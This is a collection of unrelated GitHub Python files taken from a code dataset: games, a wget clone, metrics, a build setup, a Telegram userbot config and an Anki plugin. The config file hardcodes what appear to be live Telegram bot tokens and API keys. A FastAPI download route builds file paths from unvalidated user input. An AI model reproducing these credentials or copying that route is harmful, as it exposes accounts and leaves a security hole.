alphabet[cpu_index]\n print(\"IS\", alpha_index, \"IN THE WORD?\\n\")\n alphabet.pop(cpu_index)\n yesno = int(input(\"YES? - 1 / NO? - 2: \"))\n while yesno not in gamemodes:\n print(\"INVALID CHOICE. TRY AGAIN\")\n yesno = int(input(\"YES? - 1 / NO? - 2: \"))\n if yesno == 1:\n for i in range(len(chosen_letters)):\n if chosen_letters[i] == alpha_index:\n cpu_guessed[i] = alpha_index\n else:\n cpu_wrong.append(alpha_index)\n lives -= 1\n continue\n if lives == 0:\n print(\"YOU WIN! YOUR WORD WAS: \", chosen_word)\n break\n if lives != 0:\n print(\"COMPUTER WINS!\\n\" + chosen_word)","repo_name":"SeagerNova/HANGMAN","sub_path":"Hangman.py","file_name":"Hangman.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22413832051","text":"from html.parser import HTMLParser\nfrom urllib.parse import urlparse\nimport urllib.request\nimport os\n\ndownloaded_files = [] # Used to store things we download so that we do not download them again\n\n\ndef pywget(url, depth=25):\n \"\"\"\n This function will download all files from the provided url and recursivelly download all links from the file at the specified url\n\n :param url: The url to get the root file from\n :param depth: The depth of recursive function before it should terminate\n :return:\n \"\"\"\n\n print('\\nProgram starting download from ' + url + '\\n')\n\n # Get root file\n root_file = File(get_url_file_name(url), get_file_name(url, ''), url)\n download_file(root_file)\n downloaded_files.append(root_file)\n\n # Do not try and download links if file is not an html file\n if root_file.get_extension() == 'html' or root_file.get_extension() == 'htm':\n download_links(root_file, depth)\n print('\\nAll done :)')\n\n\ndef download_links(root_file, depth=0):\n \"\"\"\n Download all the links in the provided file if they are from the same domain as the rootfile provided\n\n :param root_file: The root file to download all the links from\n :param depth: The recursive depth to go to until the function should stop\n :return:\n \"\"\"\n\n if depth < 0:\n return\n downloaded_files.append(root_file.filename)\n\n html_files = [] # all html file that need links downloaded\n html_parser = get_linked_files(root_file)\n\n for index, link in enumerate(html_parser.links):\n if get_url_file_name(link[1]) in downloaded_files:\n continue # if we already downloaded this file then just skip it\n\n link_url_parse = urlparse(link[1])\n link_file = File(get_url_file_name(link[1]),\n get_file_name(link[1], root_file.get_directory()),\n get_url_location(link[1], root_file.url), link[0])\n\n # Add the file to the list so we do not download them again\n downloaded_files.append(get_url_file_name(link[1]))\n\n if link_url_parse.netloc == '':\n # If the link is relative then get the path to the link from the root url\n download_file(link_file)\n update_root_file_link(root_file, link_file, html_parser.positions[index])\n elif link_url_parse.netloc == urlparse(root_file.url).netloc:\n download_file(link_file)\n update_root_file_link(root_file, link_file, html_parser.positions[index])\n if link_file.get_extension() == 'html':\n html_files.append(link_file)\n\n for html_file in html_files:\n download_links(html_file, depth - 1)\n\n\ndef update_root_file_link(root_file, link_file, pos, ):\n \"\"\"\n Update the link at pos to use the link filename.\n\n :param root_file: The root file to update all the links in\n :param link_file: The file that needs its link updated in root\n :param pos: The position of the html tag that contains the link to update.\n :return:\n \"\"\"\n\n root_file_stream = open(root_file.file_location, 'r')\n root_file_data = root_file_stream.readlines()\n root_file_stream.close()\n\n line = pos[0] - 1\n line_offset = pos[1]\n\n tag = root_file_data[line][line_offset:] # get the tag based on its line number and line offset\n link_start = tag.find(link_file.file_type + '=\"') # Find either src=\" or href=\" in the tag\n index_start = tag.find('\"', link_start) # start our update after the opening double quotes for the link\n index_end = tag.find('\"', index_start + 1) + 1 # end our update at the end double quotes\n\n updated_link = insert(index_start, index_end, tag, link_file.get_relative_dir(root_file.get_directory()))\n root_file_data[line] = root_file_data[line].replace(tag, updated_link, 1)\n\n # write all the updated data back to the original file\n root_file_stream = open(root_file.file_location, 'w')\n root_file_stream.writelines(root_file_data)\n root_file_stream.close()\n\n\ndef insert(start, end, text, new):\n \"\"\"\n Insert the string 'new' into the text based on the start and end indexes\n\n :param start: Where to start the text insertion\n :param end: Where to end the text insertion\n :param text: The text to insert the new text into\n :param new: The text to insert\n :return:\n \"\"\"\n return text[:start] + new + text[end:]\n\n\ndef get_path(url, file_name):\n \"\"\"\n Returns the full url minus the file name. Makes it easy to get other files in the same directory\n\n :param url: The url of the file\n :param file_name: The url filename. This should not be the collision renamed filename. i.e not cat.0.jpg\n :return:\n \"\"\"\n\n index = url.find(file_name)\n return url[:index]\n\n\ndef get_linked_files(file):\n \"\"\"\n Get all files that are linked from the file specified\n\n :param file: The file to get all links from\n :return: An html parser with the links stored in 'links' and position of each link stored in 'positions' with both same index\n \"\"\"\n file = open(file.file_location, 'r')\n file_contents = file.read()\n file.close()\n\n h = HTMLlinks()\n h.feed(file_contents)\n return h\n\n\ndef download_file(file):\n \"\"\"\n Download a file to disk. Will make sure that the downloaded file name is unique.\n\n :param file: The file to download. Will download from file.url to file.location\n :return:\n \"\"\"\n print('File ' + file.file_location + ' downloading....')\n try:\n if not os.path.exists(file.get_directory()):\n os.makedirs(file.get_directory())\n\n urllib.request.urlretrieve(file.url, file.file_location)\n print('File downloaded!')\n except:\n print('Network error downloading from \"' + file.url + '\". Please try again')\n\n\ndef get_file_name(url, cd):\n \"\"\"\n This function gets the file name for the url that will be saved to disk.\n\n This may involve adding a number to the file name if there exists a file with\n the same name\n\n :param url: The url of the file\n :return: The file name\n \"\"\"\n filename = get_file_location(url, cd)\n if os.path.exists(filename):\n filename = add_prefix_num(filename, 0)\n return filename\n\n\ndef get_file_location(file_link, cd):\n \"\"\"\n Return a files local file system location\n\n :param file_link: The url of the file\n :param cd: The current directory to download files to\n :return: A string file location for the local file system\n \"\"\"\n\n url_obj = urlparse(file_link)\n file_location = url_obj.netloc + url_obj.path\n\n # if relative path\n if url_obj.netloc == '':\n file_location = cd + url_obj.path\n\n return file_location\n\n\ndef get_url_location(filename, url_base):\n \"\"\"\n This will return the files url. This will add protocol and domain if not already added\n\n :param filename: the name of the file\n :param url_base: the current directory.\n :return: the url for the file\n \"\"\"\n url_obj = urlparse(filename)\n\n # if it is just the file name then attach the cd\n if url_obj.scheme == '':\n return urllib.parse.urljoin(url_base, filename)\n\n return filename\n\n\ndef get_url_file_name(url):\n \"\"\"\n This function gets the filename from the url provided.\n\n :param url: The url of the file\n \"\"\"\n sections = url.split('/')\n if sections[len(sections) - 1].find('.') > -1:\n return urlparse(sections[len(sections) - 1]).path\n\n\ndef add_prefix_num(file_location, times):\n \"\"\"\n Recursively add a number before the files extension until it is unique\n\n :param file_location: The location of the file to add prefix to. This must include the files name\n :param times: The prefix number to add before the files extension\n :return:\n \"\"\"\n\n prefix_name = get_prefix_name(file_location, times)\n if os.path.exists(prefix_name):\n return add_prefix_num(file_location, times + 1)\n return prefix_name\n\n\ndef get_prefix_name(file_name, prefix):\n \"\"\"\n This function will return the filename with the prefix added before the files extension\n\n :param file_name: The file name to add prefix to\n :param prefix: The prefix to add\n :return:\n \"\"\"\n\n index = len(file_name) - 1\n\n # loop backwards until we find '.' this is then the start of the files extension\n while index > 0:\n if file_name[index] == '.':\n return file_name[:index] + '.' + str(prefix) + file_name[index:]\n index -= 1\n\n\nclass File:\n def __init__(self, filename, file_location, url, file_type=''):\n self.filename = filename\n self.file_location = file_location\n self.url = url\n self.file_type = file_type\n\n def get_extension(self):\n \"\"\"\n Get the files extension\n \"\"\"\n sections = self.file_location.split('.')\n return sections[len(sections) - 1]\n\n def get_directory(self):\n \"\"\"\n Get the files directory\n \"\"\"\n index = self.file_location.find(get_url_file_name(self.file_location))\n return self.file_location[:index]\n\n def get_relative_dir(self, cd):\n index = self.file_location.find(cd)\n return self.file_location[index + len(cd):]\n\n\nclass HTMLlinks(HTMLParser):\n \"\"\"\n A custom html parser class to get and store all links in an html document\n \"\"\"\n\n def __init__(self):\n HTMLParser.__init__(self)\n self.links = []\n self.positions = []\n\n def handle_starttag(self, tag, attrs):\n \"\"\" Get all links from an html document \"\"\"\n\n # Get all href values from an 'a' tag\n if tag == 'a' and attrs[0][0] == 'href':\n self.positions.append(self.getpos())\n self.links.append(attrs[0])\n # Get all src values from all 'img' tags\n elif tag == 'img' and attrs[0][0] == 'src':\n self.positions.append(self.getpos())\n self.links.append(attrs[0])\n\n\npywget('http://homepages.ecs.vuw.ac.nz/~ian/nwen241/index.html')","repo_name":"jman48/Python-wget","sub_path":"challange.py","file_name":"challange.py","file_ext":"py","file_size_in_byte":9915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36256617866","text":"\"\"\"\nPygame base template for opening a window\n\n Explanation video: http://youtu.be/vRB_983kUMc\n\n\"\"\"\n\nimport pygame\n\n# Define some colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\n\npygame.init()\n\n# Set the width and height of the screen\nsize = (700, 600)\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption(\"My Game\")\n\n# Loop until the user clicks the close button\ndone = False\n\n# Used to manage how fast the screen updates\nclock = pygame.time.Clock()\n\n# --------- Main Program Loop -----------\nwhile not done:\n # --- Main event loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n \n # --- Game logic should go here\n\n # --- Screen-clearing code goes here\n screen.fill(WHITE)\n\n # --- Drawing code should go here\n pygame.display.flip()\n\n # --- Limit to 60 frames per second\n clock.tick(60)\n\n# Close the window and quit\npygame.quit()","repo_name":"supatechlead/pygame-graphics-template","sub_path":"pygame_base_template.py","file_name":"pygame_base_template.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1889288161","text":"import json\nimport math\nimport numpy as np\nimport skimage.draw\nimport skimage.morphology\n\nfrom satlas.util import grid_index, geom\n\nlowres_categories = []\nall_categories = [\n 'airport_runway', 'airport_taxiway', 'raceway', 'road', 'railway', 'river',\n]\n\ndef compare_polylines(gt, pred):\n def to_mask(l):\n mask = np.zeros((2048, 2048), dtype=bool)\n for feature in l:\n if feature['Geometry']['Type'] != 'polyline':\n continue\n if len(feature['Geometry']['Polyline']) < 2:\n continue\n polyline = [(int(x//4), int(y//4)) for x, y in feature['Geometry']['Polyline']]\n for i in range(len(polyline)-1):\n rows, cols = skimage.draw.line(polyline[i][1], polyline[i][0], polyline[i+1][1], polyline[i+1][0])\n valid_indices = (rows >= 0) & (rows < mask.shape[0]) & (cols >= 0) & (cols < mask.shape[1])\n mask[rows[valid_indices], cols[valid_indices]] = True\n for _ in range(4):\n mask = skimage.morphology.binary_dilation(mask)\n return mask\n\n gt_mask = to_mask(gt)\n pred_mask = to_mask(pred)\n\n tp = np.count_nonzero(gt_mask & pred_mask)\n fp = np.count_nonzero((~gt_mask) & pred_mask)\n fn = np.count_nonzero(gt_mask & (~pred_mask))\n return tp, fp, fn\n\ndef compare(job):\n gt_fname, pred_fname, categories = job\n\n with open(gt_fname, 'r') as f:\n gt = json.load(f)\n\n if os.path.exists(pred_fname):\n with open(pred_fname, 'r') as f:\n pred = json.load(f)\n else:\n print('warning: {} does not exist'.format(pred_fname))\n pred = {}\n\n counts = {}\n for category in categories:\n tp, fp, fn = compare_polylines(\n gt.get(category, []),\n pred.get(category, []),\n )\n counts[category] = (tp, fp, fn)\n\n return counts\n\ndef get_scores(evaluator):\n if evaluator.lowres_only:\n categories = lowres_categories\n else:\n categories = all_categories\n\n all_counts = evaluator.map(\n func=compare,\n fname='vector.json',\n args=[categories],\n )\n\n sums = {}\n for counts in all_counts:\n for category, (tp, fp, fn) in counts.items():\n if category not in sums:\n sums[category] = [0, 0, 0]\n sums[category][0] += tp\n sums[category][1] += fp\n sums[category][2] += fn\n\n category_scores = {}\n for category, (tp, fp, fn) in sums.items():\n # Skip categories with not enough ground truth points in the current split.\n gt_total = tp + fn\n if gt_total < 20:\n continue\n\n # Compute precision and recall, and F1 score.\n if tp == 0:\n f1 = 0\n else:\n precision = tp / (tp + fp)\n recall = tp / (tp + fn)\n f1 = 2 * precision * recall / (precision + recall)\n category_scores[category] = f1\n\n overall_f1 = np.mean(list(category_scores.values()))\n\n return [('polyline_f1', overall_f1)], category_scores\n","repo_name":"allenai/satlas","sub_path":"satlas/metrics/polyline.py","file_name":"polyline.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"62"} +{"seq_id":"27551269369","text":"#!/usr/bin/env python3\nfrom typing import List\n\n\ndef solution(a: List[int]) -> int:\n \"\"\"\n :param a: A list containing numbers.\n :returns: An index of a number which apears more than half of @a's lenght or -1.\n >>> solution([1, 2])\n -1\n >>> solution([])\n -1\n >>> solution([2, 1, 2, 1, 1])\n 4\n \"\"\"\n if not a:\n return -1\n n = len(a)\n value = -1\n size = 0\n for elem in a:\n if value == elem:\n size =+ 1\n elif size > 0:\n size -= 1\n else:\n value = elem\n size = 1\n count = 0\n index = -1\n for i, elem in enumerate(a):\n if value == elem:\n count += 1\n index = i\n return index if count > n // 2 else -1\n","repo_name":"fran-cab/codility_solutions","sub_path":"L08-Leader/dominator.py","file_name":"dominator.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72070239239","text":"z1 = []\nx = int(input())\n\nwhile True:\n z = int(input())\n if z > x:\n z1.append(z)\n break\n\nsoma = 0\ncount = 0\nfor r in range(x, z1[0] + 1):\n soma = soma + r\n count = count + 1\n if soma > z1[0]:\n break\n\nprint(count)\n\n\n\n","repo_name":"danielnascimentotomaz/PLATAFORMA-BEECROWD-PYTHON","sub_path":"LISTA DE PROBLEMA RESOLVIDO/150 ULTRAPASSANDO Z.py","file_name":"150 ULTRAPASSANDO Z.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8852059944","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport glob\nimport setuptools # noqa: magic\nimport numpy.f2py\nfrom numpy.distutils.core import setup, Extension\nfrom numpy.distutils.command.build_ext import build_ext\nfrom distutils.file_util import copy_file\n\n\nif not os.path.exists(\"src/fsps/libfsps/src/sps_vars.f90\"):\n raise RuntimeError(\n \"It looks like FSPS is not included in your source distribution. \"\n \"If you're installing using git, don't forget to include the \"\n \"submodules using a recursive clone or by running: \\n\"\n \"git submodule init\\n\"\n \"git submodule update\"\n )\n\n\nnumpy.f2py.run_main(\n [\n \"-m\",\n \"_fsps\",\n \"-h\",\n \"src/fsps/_fsps.pyf\",\n \"--overwrite-signature\",\n \"src/fsps/fsps.f90\",\n ]\n)\n\next = Extension(\n \"fsps._fsps\",\n sources=[\n \"src/fsps/libfsps/src/sps_vars.f90\",\n \"src/fsps/libfsps/src/sps_utils.f90\",\n ]\n + [\n f\n for f in glob.glob(\"src/fsps/libfsps/src/*.f90\")\n if os.path.basename(f)\n not in [\n \"autosps.f90\",\n \"simple.f90\",\n \"lesssimple.f90\",\n \"sps_vars.f90\",\n \"sps_utils.f90\",\n ]\n ]\n + [\n \"src/fsps/fsps.f90\",\n \"src/fsps/_fsps.pyf\",\n ],\n extra_f90_compile_args=[\"-cpp\"],\n)\n\n\nclass custom_build_ext(build_ext):\n def run(self):\n build_ext.run(self)\n\n # HACKS: Copy over any extra DLL files\n # Note: numpy already tries to do this, but it doesn't do a very good job\n # when using the `src/pkgname` layout. We'll fix that here.\n pkg_roots = {\n os.path.abspath(os.path.dirname(self.get_ext_fullpath(ext.name)))\n for ext in self.extensions\n }\n for pkg_root in pkg_roots:\n shared_lib_dir = pkg_root\n for fn in os.listdir(self.extra_dll_dir):\n if not os.path.isdir(shared_lib_dir):\n os.makedirs(shared_lib_dir)\n if not fn.lower().endswith(\".dll\"):\n continue\n runtime_lib = os.path.join(self.extra_dll_dir, fn)\n copy_file(runtime_lib, shared_lib_dir)\n\n\n# The final setup command. Note: we override the `build_ext` command with our\n# custom version from above.\nsetup(\n name=\"fsps\",\n url=\"https://github.com/dfm/python-fsps\",\n author=\"Python-FSPS developers\",\n author_email=\"foreman.mackey@gmail.com\",\n description=\"Python bindings for Charlie Conroy's FSPS.\",\n long_description=open(\"README.rst\").read(),\n packages=[\"fsps\"],\n package_dir={\"\": \"src\"},\n package_data={\n \"\": [\"README.rst\", \"LICENSE.rst\", \"AUTHORS.rst\"],\n },\n include_package_data=True,\n install_requires=[\"numpy\"],\n ext_modules=[ext],\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n ],\n cmdclass={\"build_ext\": custom_build_ext},\n zip_safe=False,\n)\n","repo_name":"torluca/python-fsps-lite","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31252879003","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport unittest\nfrom ernie import SentenceClassifier, Models\n\n\nclass TestPredict(unittest.TestCase):\n classifier = SentenceClassifier(\n model_name=Models.BertBaseUncased,\n max_length=128,\n labels_no=2,\n )\n\n def test_batch_predict(self):\n sentences_no = 50\n predictions = list(self.classifier.predict(\n [\"this is a test \" * 100] * sentences_no)\n )\n self.assertEqual(len(predictions), sentences_no)\n\n def test_predict_one(self):\n prediction = self.classifier.predict_one(\"this is a test \" * 100)\n self.assertEqual(len(prediction), 2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"labteral/ernie","sub_path":"test/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":197,"dataset":"github-code","pt":"62"} +{"seq_id":"39046158632","text":"import inspect\nfrom ovs.celery_run import celery\nfrom ovs.constants.celery import CELERY_TASKS_LISTS_OUTPUT_PATH\nfrom ovs_extensions.constants.modules import BASE_OVS\nfrom ovs.extensions.generic.configuration import Configuration\n\n# noinspection PyUnreachableCode\nif False:\n from typing import Optional, Dict\n\n\nclass TaskFetcher(object):\n\n @classmethod\n def fetch_celery(cls, to_md=False, filepath=None, editor_input=None):\n # type: (Optional[bool], Optional[str], Optional[Dict[str, str]]) -> Dict[str, str]\n \"\"\"\n This will call celery.tasks to list all currently implemented celerytasks, and return them as a dict. E.g.\n {celery_task_1: docstring of this task}\n :param to_md: will write to csv file if put on True. This csv output location will be located in the parameter filepath\n :type to_md: bool\n :param filepath: filepath to write csv file to. Will first check if a filepath is provided in the configmanagement under /celery/tasks_list\n If no path is provided there, will write csv file to /tmp/celery_task_list.csv\n :type filepath: str\n :param editor_input: Key value with task names as keys and the remarks as values\n :type editor_input: Dict[str, str]\n :return: Dict\n \"\"\"\n # Default content of editor_input\n editor_input['ovs.storagerouter.ping'] = 'Called by a cronjob which is placed under/etc/cron.d/openvstorage-core on install of the openvstorage - core package'\n\n filepath = filepath or Configuration.get(CELERY_TASKS_LISTS_OUTPUT_PATH, default='/tmp/celery_task_list.md')\n celery_tasks = cls._fetch_celery_tasks()\n if to_md:\n with open(filepath, 'w') as fh:\n fh.write(cls.dict_to_markdown(celery_tasks, editor_input=editor_input))\n return celery_tasks\n\n @classmethod\n def _fetch_celery_tasks(cls):\n # Celery does not know of our included modules just yet. So we import them.\n celery.loader.import_default_modules()\n return dict([(task, decorated_fun_task.__doc__) for task, decorated_fun_task in celery.tasks.iteritems() if task.startswith(BASE_OVS)])\n\n @classmethod\n def dict_to_markdown(cls, celery_tasks, editor_input=None):\n # type: (Dict[str, str], Optional[Dict[str, str]]) -> str\n \"\"\"\n Input:\n {ovs.key1.name1: docstring,\n ovs.key2.name1: docstring,\n ovs.key2.name2: docstring}\n\n Output:\n ## Tasks\n ### Key1\n #### Name1\n ```\n docstring\n ```\n ### Key2\n #### Name1\n ```\n docstring\n ```\n #### Name2\n ```\n docstring\n ```\n\n :param celery_tasks: this dict contains a celery task name as key and the task docstring as value.\n :param editor_input: dict containing keys and values from celery task keys that need extra information. Will be shown with the full key at the bottom of the markdown file\n :return: formatted markdown version of the dict\n \"\"\"\n # First build indented dict\n indented_dict = {}\n for celery_key, docstring in celery_tasks.iteritems():\n _, celery_function_folder, celery_function_name = celery_key.split('.')\n\n if celery_function_folder not in indented_dict:\n indented_dict[celery_function_folder] = {}\n indented_dict[celery_function_folder][celery_function_name] = inspect.cleandoc(docstring)\n\n # Check if special remarks are placed for this ovs task\n if editor_input and celery_key in editor_input.keys():\n current_docstring = indented_dict[celery_function_folder][celery_function_name]\n current_docstring += '\\n\\nEditor input:\\n{0}'.format(editor_input[celery_key])\n indented_dict[celery_function_folder][celery_function_name] = current_docstring\n\n # Then build markdown layout\n out = '## Tasks\\n'\n for folder, celery_functions in sorted(indented_dict.iteritems()):\n out += '### {0}\\n'.format(folder.capitalize())\n for function_name, function_docstring in sorted(celery_functions.iteritems()):\n out += \"#### {0}\\n```\\n{1}\\n```\\n\".format(function_name, function_docstring)\n\n return out\n","repo_name":"openvstorage/framework","sub_path":"docs/internal/celery_task_fetching.py","file_name":"celery_task_fetching.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"62"} +{"seq_id":"38249176188","text":"from fastapi import FastAPI,status,Response,APIRouter ,File\nfrom fastapi.responses import FileResponse\n\n\nrouter = APIRouter(prefix='/file', tags=['file'])\n\n@router.post('/file')\ndef get_file(file:bytes=File(...)):\n data = file.decode('utf-8')\n return {\n 'data':data\n }\n\n\n@router.post('/download/{name}',response_class=FileResponse)\ndef download_file(name:str):\n path=f'test/{name}'\n return path","repo_name":"nargesth61/fastapi","sub_path":"router/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2944583301","text":"import os\nimport glob\n\ndef getVar(name, suggested):\n try:\n var = os.environ[name]\n return var\n except:\n print(' * You need to set the %s environment variable' % name)\n print(' e.g. export %s=%s' % (name, suggested))\n sys.exit()\n\nvars = Variables('build_variables.py')\nvars.AddVariables(\n# ('boostType', 'Suffix to add to Boost libraries to enable finding them', ''),\n ('CC', 'set the name of the C compiler to use (scons finds default)', 'gcc'),\n ('CXX', 'set the name of the C++ compiler to use (scons finds default)', 'g++'),\n ('CXXFLAGS', 'add flags for the C++ compiler to CXXFLAGS', '-std=c++11 -Wall -Wextra'),\n# ('CPPPATH', 'Include path for preprocessor', getVar('BOOST_ROOT', '/usr/local/include/boost')),\n ('LINKFLAGS', 'add flags for the linker to LINKFLAGS', '')\n)\n\nenv = Environment(ENV = os.environ, variables = vars)\nenv.Command('dummy', env.Program('test', glob.glob('*.cpp')), './$SOURCE')\n\nvars.Save('build_variables.py', env)\n","repo_name":"jonstewart/scope","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"4968907756","text":"import os\nfrom os import getenv\nfrom dotenv import load_dotenv\n\nif os.path.exists(\"local.env\"):\n load_dotenv(\"local.env\")\n\n\nAPI_ID = int(getenv(\"API_ID\", \"12857763\")) #optional\nAPI_HASH = getenv(\"API_HASH\", \"7b71e8bca0d5e1c6d8383ae818d9ec8d\") #optional\n\nSUDO_USERS = list(map(int, getenv(\"SUDO_USERS\", \"1345594412\").split()))\nOWNER_ID = int(getenv(\"OWNER_ID\", \"1345594412\"))\nMONGO_URL = getenv(\"MONGO_URL\")\nBLACKLIST_GCAST = {int(x) for x in getenv(\"BLACKLIST_GCAST\", \"-1001803314750 -1001537697834 -1001666842359 -1001863765095 -1001703838628 -1001839860617\").split()}\nBOT_TOKEN = getenv(\"BOT_TOKEN\", \"5921265623:AAEQGbsR32yMh1LD_kf252qlIvb-N66cars\")\nALIVE_PIC = getenv(\"ALIVE_PIC\", \"https://telegra.ph//file/8fffe9f061a0bd1fe1c3f.jpg\")\nALIVE_TEXT = getenv(\"ALIVE_TEXT\", \"UDAH AKTIF TOD\")\nPM_LOGGER = getenv(\"PM_LOGGER\")\nLOG_GROUP = getenv(\"LOG_GROUP\")\nGIT_TOKEN = getenv(\"GIT_TOKEN\", \"SHA256:azvkVegsZyKoLxKq30eyBdPZ1+iURKf/rurx70H/nZ4\") #personal access token\nREPO_URL = getenv(\"REPO_URL\", \"https://github.com/fadhilabdat04/zaiduser\")\nBRANCH = getenv(\"BRANCH\", \"master\") #don't change\n \nSTRING_SESSION1 = getenv(\"STRING_SESSION1\", \"\")\nSTRING_SESSION2 = getenv(\"STRING_SESSION2\", \"\")\nSTRING_SESSION3 = getenv(\"STRING_SESSION3\", \"\")\nSTRING_SESSION4 = getenv(\"STRING_SESSION4\", \"\")\nSTRING_SESSION5 = getenv(\"STRING_SESSION5\", \"\")\nSTRING_SESSION6 = getenv(\"STRING_SESSION6\", \"\")\nSTRING_SESSION7 = getenv(\"STRING_SESSION7\", \"\")\nSTRING_SESSION8 = getenv(\"STRING_SESSION8\", \"\")\nSTRING_SESSION9 = getenv(\"STRING_SESSION9\", \"\")\nSTRING_SESSION10 = getenv(\"STRING_SESSION10\", \"\")\n","repo_name":"fadhilabdat04/zaiduser","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34474546572","text":"import re\nfrom anki.utils import hexifyID\nfrom anki.hooks import addHook\n\nMODELTAG = \"Japanese\"\nREADING = \"Reading\"\nEXPRESSION = \"Expression\"\n\n# If set to true, the plugin will look for any furigana on the card, instead\n# of just looking in the reading field.\nFURI_OUTSIDE_READING = True\n\n# The following setting changes the behaviour of %(Reading)s in the question.\n# If set to 1, hide the kanji and show only the reading\n# If set to 2, show both the kanji and reading\n# If set to 3, show the kanji and show the reading in a tooltip\nREADING_IN_QUESTION = 1\n\ndef getReading(card):\n if not \"[\" in card.fact.get(READING, \"\"):\n return\n # get the reading field\n read = [x.id for x in card.fact.model.fieldModels\n if x.name == READING]\n if not read:\n return\n return '' % hexifyID(read[0])\n\ndef filterQuestion(txt, card, transform='question'):\n if READING_IN_QUESTION == 1 and transform == 'question':\n fn = removeKanji\n else:\n fn = lambda x: rubify(x, transform)\n if not MODELTAG in card.fact.model.tags:\n return txt\n if not FURI_OUTSIDE_READING:\n reading = getReading(card)\n if not reading:\n return txt\n # replace\n def repl(match):\n return reading + fn(match.group(1)) + \"\"\n if FURI_OUTSIDE_READING:\n txt = fn(txt)\n else:\n txt = re.sub(\"%s(.*?)\" % reading, repl, txt)\n return txt\n\ndef filterAnswer(txt, card):\n return filterQuestion(txt, card, transform=\"answer\")\n\ndef replNoSound(new):\n def repl(m):\n return match.group(int(m.group(1)))\n def fn(match):\n if match.group(2).startswith(\"sound:\"):\n return match.group(0)\n return new.replace(\"\\\\1\", match.group(1)).replace(\"\\\\2\", match.group(2))\n return fn\n\ndef removeKanji(txt):\n def repl(match):\n txt = match.group(2)\n if txt.startswith(\"sound:\"):\n return match.group(0)\n return txt.replace(\" \", \"\")\n txt = re.sub(\" ?([^ >]+?)\\[(.+?)\\]\", repl, txt)\n return txt\n\ndef rubify(txt, type):\n if type == \"question\" and READING_IN_QUESTION == 3:\n txt = re.sub(\" ?([^ >]+?)\\[(.+?)\\]\",\n replNoSound('\\\\1\\\\2'),\n txt)\n else:\n txt = re.sub(\" ?([^ >]+?)\\[(.+?)\\]\",\n replNoSound('\\\\1'),\n txt)\n return txt\n\ndef addCss(styles, card):\n # based on http://welkin.s60.xrea.com/css_labo/Ruby-CSS_DEMO3.html\n styles += \"\"\"\n/* Ruby Base */\nhtml>/* */body .ezRuby {\n line-height: 1;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n margin: 0;\n padding: 0;\n border: none;\n display: inline-block;\n}\n\n/* Ruby Text */\nhtml>/* */body .ezRuby:before {\n font-size: 0.64em;\n font-weight: normal;\n line-height: 1.2;\n text-decoration: none;\n display: block;\n content: attr(title);\n}\n\n/* Adapt to your site's CSS */\nhtml>/* */body .ezRuby:hover{\n color: #000000;\n background-color: #FFFFCC;\n}\n\nhtml>/* */body .ezRuby:hover:before{\n background-color: #FFCC66;\n}\n\n\n.tip {\n\tposition: relative;\n}\n\n.tip:hover {\n\tbackground: #77f;\n\tcolor: #fff;\n}\n\n.tip span {\n\tdisplay: none;\n\tposition: absolute;\n\ttop: 40px;\n\tleft: -20px;\n\tpadding: 5px;\n\tz-index: 100;\n\tbackground: #000;\n\tcolor: #fff;\n font-size: 1em;\n width: 200px;\n}\n\nspan:hover.tip span {\n\tdisplay: block;\n}\n\"\"\"\n return styles\n\naddHook('drawQuestion', filterQuestion)\naddHook('drawAnswer', filterAnswer)\naddHook('addStyles', addCss)\n","repo_name":"TianYuanChu/AnkiCPRP","sub_path":"code/FMS-client/Original 1.2/dae-ankiplugins-28294da/japanese/furigana.py","file_name":"furigana.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31838976129","text":"\"\"\"\nWorks as well:\n--------------\n\nmax = 1000000\np = []\nfor l in range(0, int(max**0.5)):\n s = str(l) if l != 0 else \"\"\n if s != \"\":\n p.append(s + s[::-1])\n\n if l < int(max**0.5 / 10):\n for m in range(0, 10):\n p.append(s + str(m) + s[::-1])\n\nsum = 0\nfor n in p:\n b = str(bin(int(n)))[2:]\n if b == b[::-1]:\n sum += int(n)\nprint (sum)\n\"\"\"\n\nsum = 0\nfor n in range(1, 1000000):\n d = str(n)\n b = 